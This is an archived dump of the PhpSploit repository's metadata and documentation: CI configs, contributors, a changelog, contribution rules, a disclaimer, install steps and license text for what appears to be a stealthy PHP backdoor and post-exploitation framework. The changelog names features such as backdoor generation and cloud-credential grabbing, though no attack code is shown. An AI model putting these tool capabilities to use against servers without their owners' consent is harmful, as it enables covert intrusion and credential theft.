pax_global_header00006660000000000000000000000064146015577640014531gustar00rootroot0000000000000052 comment=aea961df241a29703ae76c26cef52e1169f74a06 phpsploit-3.2+git20240329.aea961d/000077500000000000000000000000001460155776400161555ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/.all-contributorsrc000066400000000000000000000053601460155776400220120ustar00rootroot00000000000000{ "projectName": "phpsploit", "projectOwner": "nil0x42", "repoType": "github", "repoHost": "https://github.com", "files": [ "README.md" ], "imageSize": 100, "commit": false, "contributors": [ { "login": "nil0x42", "name": "nil0x42", "avatar_url": "https://avatars1.githubusercontent.com/u/3504393?v=4", "profile": "https://exdemia.com", "contributions": [ "code", "infra", "plugin", "test" ] }, { "login": "shiney-wh", "name": "shiney-wh", "avatar_url": "https://avatars1.githubusercontent.com/u/20907184?v=4", "profile": "https://github.com/shiney-wh", "contributions": [ "code", "plugin" ] }, { "login": "wapiflapi", "name": "Wannes Rombouts", "avatar_url": "https://avatars3.githubusercontent.com/u/1619783?v=4", "profile": "http://wapiflapi.github.io", "contributions": [ "code", "maintenance" ] }, { "login": "yurilaaziz", "name": "Amine Ben Asker", "avatar_url": "https://avatars1.githubusercontent.com/u/6031769?v=4", "profile": "http://yurilz.com", "contributions": [ "code", "maintenance" ] }, { "login": "paralax", "name": "jose nazario", "avatar_url": "https://avatars1.githubusercontent.com/u/5619153?v=4", "profile": "http://twitter.com/jnazario", "contributions": [ "doc", "bug" ] }, { "login": "sujit", "name": "Sujit Ghosal", "avatar_url": "https://avatars3.githubusercontent.com/u/156915?v=4", "profile": "http://wikisecure.net", "contributions": [ "blog" ] }, { "login": "sohelzerdoumi", "name": "Zerdoumi", "avatar_url": "https://avatars3.githubusercontent.com/u/3418725?v=4", "profile": "https://github.com/sohelzerdoumi", "contributions": [ "bug" ] }, { "login": "tristandostaler", "name": "tristandostaler", "avatar_url": "https://avatars3.githubusercontent.com/u/5489330?v=4", "profile": "https://github.com/tristandostaler", "contributions": [ "bug" ] }, { "login": "rohantarai", "name": "Rohan Tarai", "avatar_url": "https://avatars3.githubusercontent.com/u/16543074?v=4", "profile": "https://github.com/rohantarai", "contributions": [ "bug" ] }, { "login": "jonaslejon", "name": "Jonas Lejon", "avatar_url": "https://avatars1.githubusercontent.com/u/190150?v=4", "profile": "https://triop.se", "contributions": [ "blog" ] } ], "contributorsPerLine": 7, "skipCi": true } phpsploit-3.2+git20240329.aea961d/.codacy.yml000066400000000000000000000001461460155776400202210ustar00rootroot00000000000000exclude_paths: - 'deps/**' - 'plugins/**' - 'test/**' - 'utils/**' - 'data/**' - 'man/**' phpsploit-3.2+git20240329.aea961d/.codeclimate.yml000066400000000000000000000005121460155776400212250ustar00rootroot00000000000000# engines: # duplication: # enabled: true # config: # languages: # python: # python_version: 3 plugins: pep8: enabled: true radon: enabled: true sonar-python: enabled: true exclude_patterns: - 'plugins/' - 'test/' - 'utils/' - 'data/' - 'man/' - 'src/shnake-0.5/' phpsploit-3.2+git20240329.aea961d/.codecov.yml000066400000000000000000000005431460155776400204020ustar00rootroot00000000000000codecov: notify: require_ci_to_pass: yes coverage: precision: 2 round: down range: "70...100" status: project: yes patch: yes changes: no parsers: gcov: branch_detection: conditional: yes loop: yes method: no macro: no comment: layout: "header, diff" behavior: default require_changes: no phpsploit-3.2+git20240329.aea961d/.coveragerc000066400000000000000000000001031460155776400202700ustar00rootroot00000000000000[run] branch = True parallel = True omit = /usr/* */deps/* phpsploit-3.2+git20240329.aea961d/.editorconfig000066400000000000000000000005321460155776400206320ustar00rootroot00000000000000# This file is for unifying the coding style for different editors and IDEs. # More information at http://EditorConfig.org root = true [*] charset = utf-8 end_of_line = lf indent_size = 4 indent_style = space insert_final_newline = true max_line_length = 80 [*.py] max_line_length = 79 trim_trailing_whitespace = true [*.yml] indent_size = 2 phpsploit-3.2+git20240329.aea961d/.github/000077500000000000000000000000001460155776400175155ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/.github/.codeql.yml000066400000000000000000000005161460155776400215670ustar00rootroot00000000000000name: "CodeQL configuration file" # paths: # - src/ paths-ignore: - test/ - utils/ - man/ - doc/ - src/shnake-0.5/ # query-filters: # - exclude: # # This reports all the uses of the DES, but this is needed for # # interoperability with cards not supporting AES # id: cpp/weak-cryptographic-algorithm phpsploit-3.2+git20240329.aea961d/.github/FUNDING.yml000066400000000000000000000001141460155776400213260ustar00rootroot00000000000000github: nil0x42 custom: ["exdemia.com/donate-bitcoin", "paypal.me/nil0x42"] phpsploit-3.2+git20240329.aea961d/.github/dependabot.yml000066400000000000000000000001751460155776400223500ustar00rootroot00000000000000version: 2 updates: - package-ecosystem: pip directory: "/" schedule: interval: daily open-pull-requests-limit: 10 phpsploit-3.2+git20240329.aea961d/.github/workflows/000077500000000000000000000000001460155776400215525ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/.github/workflows/codeql-analysis.yml000066400000000000000000000053021460155776400253650ustar00rootroot00000000000000# For most projects, this workflow file will not need changing; you simply need # to commit it to your repository. # # You may wish to alter this file to override the set of languages analyzed, # or to provide custom queries or build logic. # # ******** NOTE ******** # We have attempted to detect the languages in your repository. Please check # the `language` matrix defined below to confirm you have the correct set of # supported CodeQL languages. # name: "CodeQL" on: push: branches: [ master ] pull_request: # The branches below must be a subset of the branches above branches: [ master ] schedule: - cron: '43 18 * * 0' jobs: analyze: name: Analyze runs-on: ubuntu-latest permissions: actions: read contents: read security-events: write strategy: fail-fast: false matrix: language: [ 'python' ] # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support steps: - name: Checkout repository uses: actions/checkout@v3 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL uses: github/codeql-action/init@v2 with: languages: ${{ matrix.language }} config-file: ./.github/.codeql.yml # If you wish to specify custom queries, you can do so here or in a config file. # By default, queries listed here will override any specified in a config file. # Prefix the list here with "+" to use these queries and those in the config file. # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs # queries: security-extended,security-and-quality # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild uses: github/codeql-action/autobuild@v2 # ℹī¸ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun # If the Autobuild fails above, remove it and uncomment the following three lines. # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. # - run: | # echo "Run, Build Application using script" # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis uses: github/codeql-action/analyze@v2 phpsploit-3.2+git20240329.aea961d/.github/workflows/unit-tests.yml000066400000000000000000000046231460155776400244210ustar00rootroot00000000000000name: Unit Tests # Controls when the workflow will run on: # Triggers the workflow on push or pull request events but only for the master branch push: branches: [ master ] pull_request: branches: [ master ] # Allows you to run this workflow manually from the Actions tab workflow_dispatch: # A workflow run is made up of one or more jobs that can run sequentially or in parallel jobs: # This workflow contains a single job called "build" build: strategy: fail-fast: true # quit as soon as a job fails matrix: os: [ ubuntu-22.04, ubuntu-20.04 ] # macos-latest # TODO python-version: [ "3.7", "3.11", "3.12-dev", "pypy-3.7", "pypy-3.10" ] # exclude: # - os: macos-latest # python-version: 12 # The type of runner that the job will run on runs-on: ${{ matrix.os }} timeout-minutes: 8 # Steps represent a sequence of tasks that will be executed as part of the job steps: # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - uses: actions/checkout@v4 - if: startsWith(matrix.os, 'macOS') name: "MacOS: Install coreutils (provides GNU core utils)" run: brew install coreutils # fix setupterm() error with pypy: # _minimal_curses.error: setupterm(None, 5) failed (err=-1): could not find termininfo database - if: startsWith(matrix.python-version, 'pypy') name: "pypy: Set env TERM=linux" run: | echo "TERM=linux" >> $GITHUB_ENV - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Install coverage (for codecov) run: pip3 install coverage - name: Install PhpSploit requirements.txt run: pip3 install -r requirements.txt - name: Run phpsploit unit tests run: stdbuf -oL -eL ./test/RUN.sh 2>&1 env: PHPSPLOIT_TESTS_FAIL_FAST: True # stop on first test error COVERAGE: True # for codecov - name: Upload coverage to Codecov uses: codecov/codecov-action@v4 with: # flags: unittests env_vars: OS,PYTHON files: ./coverage.xml token: ${{ secrets.CODECOV_TOKEN }} # required fail_ci_if_error: true # optional (default = false) verbose: true # optional (default = false) phpsploit-3.2+git20240329.aea961d/.gitignore000066400000000000000000000004641460155776400201510ustar00rootroot00000000000000# compiled source files *.pyc # OS junk .DS_Store .DS_Store? .Trashes Thumbs.db ehthumbs.db # Editor backup files *~ .*.swp # tmp directory (generated by unit-tests) /test/tmp/ # coverage.py: ignore report files .coverage .coverage.* # coverage.py: ignore html report /htmlcov/ # pipenv files /Pipfile* phpsploit-3.2+git20240329.aea961d/.lgtm.yml000066400000000000000000000005551460155776400177260ustar00rootroot00000000000000path_classifiers: # https://lgtm.com/help/lgtm/file-classification test: - exclude: / # ignore lgtm test code default classification - test - utils docs: - man - doc library: - src/shnake-0.5 extraction: python: python_setup: # analyse source as python3 version: 3 index: exclude: - src/shnake-0.5 phpsploit-3.2+git20240329.aea961d/.remarkrc000066400000000000000000000000741460155776400177650ustar00rootroot00000000000000{ "plugins": [ "remark-preset-lint-recommended" ] } phpsploit-3.2+git20240329.aea961d/CHANGELOG.md000066400000000000000000000402671460155776400177770ustar00rootroot00000000000000# Change Log ## [v3.2](https://github.com/nil0x42/phpsploit/tree/v3.2) (2020-10-16) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/v3.1...v3.2) **Implemented enhancements:** - integrate `bannergrab`, `cloudcredgrab` & `proclist` plugins by @paralax [#151](https://github.com/nil0x42/phpsploit/issues/151) - unused session attribute: `session.Cache` [#102](https://github.com/nil0x42/phpsploit/issues/102) - session.Env.PORT is useless [#71](https://github.com/nil0x42/phpsploit/issues/71) **Merged pull requests:** - Wip [#156](https://github.com/nil0x42/phpsploit/pull/156) ([nil0x42](https://github.com/nil0x42)) - Wip [#155](https://github.com/nil0x42/phpsploit/pull/155) ([nil0x42](https://github.com/nil0x42)) - Wip [#153](https://github.com/nil0x42/phpsploit/pull/153) ([nil0x42](https://github.com/nil0x42)) - add three new plugins - proclist, cloud creds, and banner grabs [#152](https://github.com/nil0x42/phpsploit/pull/152) ([paralax](https://github.com/paralax)) - Wip [#150](https://github.com/nil0x42/phpsploit/pull/150) ([nil0x42](https://github.com/nil0x42)) - Create Dependabot config file [#149](https://github.com/nil0x42/phpsploit/pull/149) ([dependabot-preview\[bot\]](https://github.com/apps/dependabot-preview)) - \[requires.io] dependency update on master branch [#148](https://github.com/nil0x42/phpsploit/pull/148) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#147](https://github.com/nil0x42/phpsploit/pull/147) ([nil0x42](https://github.com/nil0x42)) ## [v3.1](https://github.com/nil0x42/phpsploit/tree/v3.1) (2020-09-10) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/v3.0...v3.1) **Implemented enhancements:** - Make warning message explicit when running plugin in non-connected mode [#74](https://github.com/nil0x42/phpsploit/issues/74) - Show stack trace when VERBOSITY is True [#73](https://github.com/nil0x42/phpsploit/issues/73) - get help for `CMD` when calling `help CMD ARG` [#70](https://github.com/nil0x42/phpsploit/issues/70) - unexpected infinite autocompletion [#68](https://github.com/nil0x42/phpsploit/issues/68) - `help set \`: display buffer type description [#67](https://github.com/nil0x42/phpsploit/issues/67) - `set` should inform user that `help set \` is available [#62](https://github.com/nil0x42/phpsploit/issues/62) - `alias \ None` misses verbosity [#59](https://github.com/nil0x42/phpsploit/issues/59) - Missing `help set \` autocompletion [#56](https://github.com/nil0x42/phpsploit/issues/56) - env: Confusing error message before `exploited` context [#53](https://github.com/nil0x42/phpsploit/issues/53) - `./deps/` folder is archaic [#41](https://github.com/nil0x42/phpsploit/issues/41) **Fixed bugs:** - phpsploit is not working properly [#128](https://github.com/nil0x42/phpsploit/issues/128) - `suidroot` plugin makes invalid assumptions [#105](https://github.com/nil0x42/phpsploit/issues/105) - crash: IndexError: list index out of range [#101](https://github.com/nil0x42/phpsploit/issues/101) - `lrun` command always returns 0 [#83](https://github.com/nil0x42/phpsploit/issues/83) - core.tunnel.exceptions.ResponseError: Php runtime error [#81](https://github.com/nil0x42/phpsploit/issues/81) - core: read non-tty STDIN line-by-line [#75](https://github.com/nil0x42/phpsploit/issues/75) - term colors: buggy message display [#72](https://github.com/nil0x42/phpsploit/issues/72) - `corectl display-http-requests`: invalid log on POST method [#65](https://github.com/nil0x42/phpsploit/issues/65) - `alias` can override existing command [#60](https://github.com/nil0x42/phpsploit/issues/60) - `isolate\_readline\_context\(\)` don't isolates readline history [#54](https://github.com/nil0x42/phpsploit/issues/54) **Closed issues:** - Scripting support [#138](https://github.com/nil0x42/phpsploit/issues/138) - add jonas lejon as contributor for his blog post [#137](https://github.com/nil0x42/phpsploit/issues/137) - `corectl display-http-requests` not working when PROXY is set [#135](https://github.com/nil0x42/phpsploit/issues/135) - I'm sure i set the backdoor file,but i can't get windows shell again [#120](https://github.com/nil0x42/phpsploit/issues/120) - a window shell trate mysql data [#119](https://github.com/nil0x42/phpsploit/issues/119) - Doubt about the socks proxy5 [#114](https://github.com/nil0x42/phpsploit/issues/114) - INSTALL.md should have install instructions [#106](https://github.com/nil0x42/phpsploit/issues/106) - Add contributors list on README [#88](https://github.com/nil0x42/phpsploit/issues/88) - `help \` lacks plugin informations [#85](https://github.com/nil0x42/phpsploit/issues/85) - ux: show `missing dependency` warnings at start [#80](https://github.com/nil0x42/phpsploit/issues/80) **Merged pull requests:** - Wip [#146](https://github.com/nil0x42/phpsploit/pull/146) ([nil0x42](https://github.com/nil0x42)) - docs/README: add `awesome` badge [#145](https://github.com/nil0x42/phpsploit/pull/145) ([nil0x42](https://github.com/nil0x42)) - WIP [#144](https://github.com/nil0x42/phpsploit/pull/144) ([nil0x42](https://github.com/nil0x42)) - Wip [#143](https://github.com/nil0x42/phpsploit/pull/143) ([nil0x42](https://github.com/nil0x42)) - \[ImgBot] Optimize images [#142](https://github.com/nil0x42/phpsploit/pull/142) ([imgbot\[bot\]](https://github.com/apps/imgbot)) - Wip [#141](https://github.com/nil0x42/phpsploit/pull/141) ([nil0x42](https://github.com/nil0x42)) - docs: add jonaslejon as a contributor [#139](https://github.com/nil0x42/phpsploit/pull/139) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - Wip [#136](https://github.com/nil0x42/phpsploit/pull/136) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#134](https://github.com/nil0x42/phpsploit/pull/134) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#133](https://github.com/nil0x42/phpsploit/pull/133) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#131](https://github.com/nil0x42/phpsploit/pull/131) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#130](https://github.com/nil0x42/phpsploit/pull/130) ([nil0x42](https://github.com/nil0x42)) - set/BROWSER: fix issue #128 [#129](https://github.com/nil0x42/phpsploit/pull/129) ([nil0x42](https://github.com/nil0x42)) - \[ImgBot] Optimize images [#127](https://github.com/nil0x42/phpsploit/pull/127) ([imgbot\[bot\]](https://github.com/apps/imgbot)) - \[requires.io] dependency update on master branch [#126](https://github.com/nil0x42/phpsploit/pull/126) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#125](https://github.com/nil0x42/phpsploit/pull/125) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#124](https://github.com/nil0x42/phpsploit/pull/124) ([nil0x42](https://github.com/nil0x42)) - plugin/mysql: add PHP 7 compatibility [#123](https://github.com/nil0x42/phpsploit/pull/123) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#122](https://github.com/nil0x42/phpsploit/pull/122) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#121](https://github.com/nil0x42/phpsploit/pull/121) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#118](https://github.com/nil0x42/phpsploit/pull/118) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#117](https://github.com/nil0x42/phpsploit/pull/117) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#116](https://github.com/nil0x42/phpsploit/pull/116) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#115](https://github.com/nil0x42/phpsploit/pull/115) ([nil0x42](https://github.com/nil0x42)) - ci: fix bug on `alias` test [#113](https://github.com/nil0x42/phpsploit/pull/113) ([nil0x42](https://github.com/nil0x42)) - docs: update README [#112](https://github.com/nil0x42/phpsploit/pull/112) ([nil0x42](https://github.com/nil0x42)) - Wip [#111](https://github.com/nil0x42/phpsploit/pull/111) ([nil0x42](https://github.com/nil0x42)) - docs: Add 'Quick Start' instructions in INSTALL.md [#110](https://github.com/nil0x42/phpsploit/pull/110) ([nil0x42](https://github.com/nil0x42)) - \[requires.io] dependency update on master branch [#108](https://github.com/nil0x42/phpsploit/pull/108) ([nil0x42](https://github.com/nil0x42)) - core: add '.' to WORD_TOKEN accepted chars [#104](https://github.com/nil0x42/phpsploit/pull/104) ([nil0x42](https://github.com/nil0x42)) - Wip [#103](https://github.com/nil0x42/phpsploit/pull/103) ([nil0x42](https://github.com/nil0x42)) - CI: critical bugfix: coverage reports were ignored [#100](https://github.com/nil0x42/phpsploit/pull/100) ([nil0x42](https://github.com/nil0x42)) - Wip [#99](https://github.com/nil0x42/phpsploit/pull/99) ([nil0x42](https://github.com/nil0x42)) - docs: add rohantarai as a contributor [#98](https://github.com/nil0x42/phpsploit/pull/98) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add tristandostaler as a contributor [#97](https://github.com/nil0x42/phpsploit/pull/97) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add sohelzerdoumi as a contributor [#96](https://github.com/nil0x42/phpsploit/pull/96) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add sujit as a contributor [#94](https://github.com/nil0x42/phpsploit/pull/94) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add paralax as a contributor [#93](https://github.com/nil0x42/phpsploit/pull/93) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add yurilaaziz as a contributor [#92](https://github.com/nil0x42/phpsploit/pull/92) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add wapiflapi as a contributor [#91](https://github.com/nil0x42/phpsploit/pull/91) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add shiney-wh as a contributor [#90](https://github.com/nil0x42/phpsploit/pull/90) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - docs: add nil0x42 as a contributor [#89](https://github.com/nil0x42/phpsploit/pull/89) ([allcontributors\[bot\]](https://github.com/apps/allcontributors)) - Wip [#87](https://github.com/nil0x42/phpsploit/pull/87) ([nil0x42](https://github.com/nil0x42)) - Initial Update [#86](https://github.com/nil0x42/phpsploit/pull/86) ([pyup-bot](https://github.com/pyup-bot)) - Wip [#84](https://github.com/nil0x42/phpsploit/pull/84) ([nil0x42](https://github.com/nil0x42)) - Wip [#82](https://github.com/nil0x42/phpsploit/pull/82) ([nil0x42](https://github.com/nil0x42)) - WIP: improve CI workflow & add test for command-line options [#79](https://github.com/nil0x42/phpsploit/pull/79) ([nil0x42](https://github.com/nil0x42)) - CI Workflow [#77](https://github.com/nil0x42/phpsploit/pull/77) ([nil0x42](https://github.com/nil0x42)) ## [v3.0](https://github.com/nil0x42/phpsploit/tree/v3.0) (2019-01-06) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.2.0b...v3.0) **Implemented enhancements:** - Add verbosity on tunnel handler [#18](https://github.com/nil0x42/phpsploit/issues/18) - Add retrocompatibility for phpsploit v1 sessions (legacy version) [#13](https://github.com/nil0x42/phpsploit/issues/13) - Improve session changes mechanism. [#12](https://github.com/nil0x42/phpsploit/issues/12) - `lrun cd \` does not changes $PWD. [#10](https://github.com/nil0x42/phpsploit/issues/10) - Add a '--browser' option to `phpinfo` plugin for html display. [#5](https://github.com/nil0x42/phpsploit/issues/5) - Create a `stat` plugin (which replaces old fileinfo) [#4](https://github.com/nil0x42/phpsploit/issues/4) - Proposal: Add workaround for custom php `error\_reporting` level [#3](https://github.com/nil0x42/phpsploit/issues/3) **Fixed bugs:** - command: `phpinfo --browse`: BUG [#34](https://github.com/nil0x42/phpsploit/issues/34) - Regression on Phpcode() datatype after Code() wrapper implementation [#16](https://github.com/nil0x42/phpsploit/issues/16) - `set \ +` dont checks new added value, resulting to unexpected bugs. [#15](https://github.com/nil0x42/phpsploit/issues/15) - Dynamic HTTP\_\* header settings cannot be unset. [#11](https://github.com/nil0x42/phpsploit/issues/11) - `lrun cd \\` does not changes $PWD. [#10](https://github.com/nil0x42/phpsploit/issues/10) - Unlike unix's `ls` command, the `ls` plugin leaves at first invalid path [#1](https://github.com/nil0x42/phpsploit/issues/1) **Closed issues:** - Changes in data/config/config not loaded [#49](https://github.com/nil0x42/phpsploit/issues/49) - post parameter for target [#47](https://github.com/nil0x42/phpsploit/issues/47) - Key Error: ADDR [#36](https://github.com/nil0x42/phpsploit/issues/36) - Bad return value for `exploit --get-backdoor` [#35](https://github.com/nil0x42/phpsploit/issues/35) - 'corectl reload-plugins' [#30](https://github.com/nil0x42/phpsploit/issues/30) - interface: autocompletion bug with commands containing '-' char [#28](https://github.com/nil0x42/phpsploit/issues/28) - setting an https url auto sets port to 80 instead of 443 as normally wanted [#26](https://github.com/nil0x42/phpsploit/issues/26) - `exploit` command alters ENV without asking [#24](https://github.com/nil0x42/phpsploit/issues/24) - \[PHP 5.2.17 / Microsoft-IIS 8.0] HTTP headers with '\_' not converted into $\_SERVER vars [#23](https://github.com/nil0x42/phpsploit/issues/23) - Python help [#22](https://github.com/nil0x42/phpsploit/issues/22) - Architecture issue: Organising decorators. [#20](https://github.com/nil0x42/phpsploit/issues/20) - No deterministic component display order on `session` command. [#17](https://github.com/nil0x42/phpsploit/issues/17) - History size issue (very slow loop) [#14](https://github.com/nil0x42/phpsploit/issues/14) - Add support for http_proxy like env vars on unix platforms [#6](https://github.com/nil0x42/phpsploit/issues/6) **Merged pull requests:** - spelling fixes [#51](https://github.com/nil0x42/phpsploit/pull/51) ([paralax](https://github.com/paralax)) - fix a bunch of spelling and grammar errors [#50](https://github.com/nil0x42/phpsploit/pull/50) ([paralax](https://github.com/paralax)) - fix machinery import [#46](https://github.com/nil0x42/phpsploit/pull/46) ([paralax](https://github.com/paralax)) - Plugin ldap [#40](https://github.com/nil0x42/phpsploit/pull/40) ([shiney-wh](https://github.com/shiney-wh)) - new plugin: scan [#38](https://github.com/nil0x42/phpsploit/pull/38) ([shiney-wh](https://github.com/shiney-wh)) - Fix some issues [#33](https://github.com/nil0x42/phpsploit/pull/33) ([yurilaaziz](https://github.com/yurilaaziz)) - Deps cleanout [#25](https://github.com/nil0x42/phpsploit/pull/25) ([nil0x42](https://github.com/nil0x42)) ## [2.2.0b](https://github.com/nil0x42/phpsploit/tree/2.2.0b) (2014-08-09) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.1.4...2.2.0b) ## [2.1.4](https://github.com/nil0x42/phpsploit/tree/2.1.4) (2013-04-07) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.1.3...2.1.4) ## [2.1.3](https://github.com/nil0x42/phpsploit/tree/2.1.3) (2013-02-20) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.1.2...2.1.3) ## [2.1.2](https://github.com/nil0x42/phpsploit/tree/2.1.2) (2012-08-12) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.1.1...2.1.2) ## [2.1.1](https://github.com/nil0x42/phpsploit/tree/2.1.1) (2012-08-11) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.1.0...2.1.1) ## [2.1.0](https://github.com/nil0x42/phpsploit/tree/2.1.0) (2012-08-11) [Full Changelog](https://github.com/nil0x42/phpsploit/compare/2.0.2...2.1.0) ## [2.0.2](https://github.com/nil0x42/phpsploit/tree/2.0.2) (2012-07-27) \* _This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)_ phpsploit-3.2+git20240329.aea961d/CONTRIBUTE000066400000000000000000000044471460155776400175670ustar00rootroot00000000000000Reporting a new bug: ==================== If you discover any bug on the PhpSploit framework, you are invited to submit it in the project's bugtracker, at: - https://github.com/nil0x42/phpsploit/issues Please ensure previously that the bug has not already been reported in the issues list. In case you are using an older version of the software, consider cloning the latest version from Git, if the bug has been noticed in the past, it can solve your ploblem. Contributing to the core: ========================= If you plan to share your amendements to the framework's core, the first requirement is to take care of the PhpSploit coding style. Even if some old libraries stand ugly and poorly commented, the new or reviewed ones obey to the following syntax: - Any class/function has a docstring that summarizes their use. - Esoteric portions of code are provided with explicit comments. - The maximum line length is limited to 80 characters. - PHP code portions MUST be compatible with at least php 4.3.0. Finally, your contribution must be submited by a pull request on github. Writing PhpSploit plugins: ========================== To get your plugin(s) included to the next PhpSploit release, in addition to the coding style conditions listed in the previous section, you must take care to write a clear and detailed help for it. The help must be provided as a python docString in the main file (plugin.py), and comply with the syntax of the built-in plugins. Help lines must not exceed 64 characters, to maintain good readability. To submit your plugin, a compressed archive can be sent to the main developper by E-Mail, or by a pull-request on github Enhancing documentation: ======================== If you found an error, or have an enhancement idea on any command/plugin help string, please consider creating an "enhancement" issue: - https://github.com/nil0x42/phpsploit/issues If you are masochist and want to write, complement or review the (poor?) PhpSploit documentation, you are very welcome and invited to share your contribution by E-Mail or pull request. #NOTE: If you want to bring manpage contribution, consider editing it's source file at "man/manual-page.txt2tags", which uses txt2tags syntax and must be used instead of "man/manual-page.1" to generate the manpage (see man/README). phpsploit-3.2+git20240329.aea961d/DISCLAIMER000066400000000000000000000014471460155776400175220ustar00rootroot00000000000000PhpSploit framework disclaimer ============================== Written by nil0x42 (https://github.com/nil0x42) Please note that this software is not made to help cyber criminals to keep access on remote servers unlawfully. The PhpSploit framework is first and foremost a proof of concept, designed to raise awareness on modern remote control technologies over the http protocol. It provides authenticated access feature (through $PASSKEY modifications), allowing legitimate users and authorized penetration testers to do their job without breaking human laws, or putting someone else's infrastructure at risk. As i know, you are a good guy, so you shouldn't inject a PhpSploit backdoor in a remote server without strict consent of it's legitimate owner, or he might never detect it due to it's stealth. phpsploit-3.2+git20240329.aea961d/INSTALL.md000066400000000000000000000020271460155776400176060ustar00rootroot00000000000000## Quick Start ```sh git clone https://github.com/nil0x42/phpsploit cd phpsploit/ pip3 install -r requirements.txt ./phpsploit -ie 'help help' ``` ### Platform Compatible with GNU/Linux (and maybe Mac OS/X) > _Tested on debian, kali, archlinux, and fedora_ ### Python Version Compatible with python >= 3.5 > _(Mostly tested with python 3.5)_ ### Dependencies _(included in ./deps from now)_ * **phpserialize** `import phpserialize` Needed to communicate between Python and PHP remote execution * **pyparsing** `import pyparsing` A dependency of `shnake`. Used to parse command-line input * **PySocks** `import socks, sockshandler` Needed by the PROXY setting to support socks4/5 proxy types ### Optional dependencies * **pygments** `import pygments` Enable php code syntax coloration * **bpython** `import bpython` Enhanced python console for use with `corectl python-console` * **IPython** `import IPython` Enhanced python console for use with `corectl python-console` phpsploit-3.2+git20240329.aea961d/LICENSE000066400000000000000000001045151460155776400171700ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. 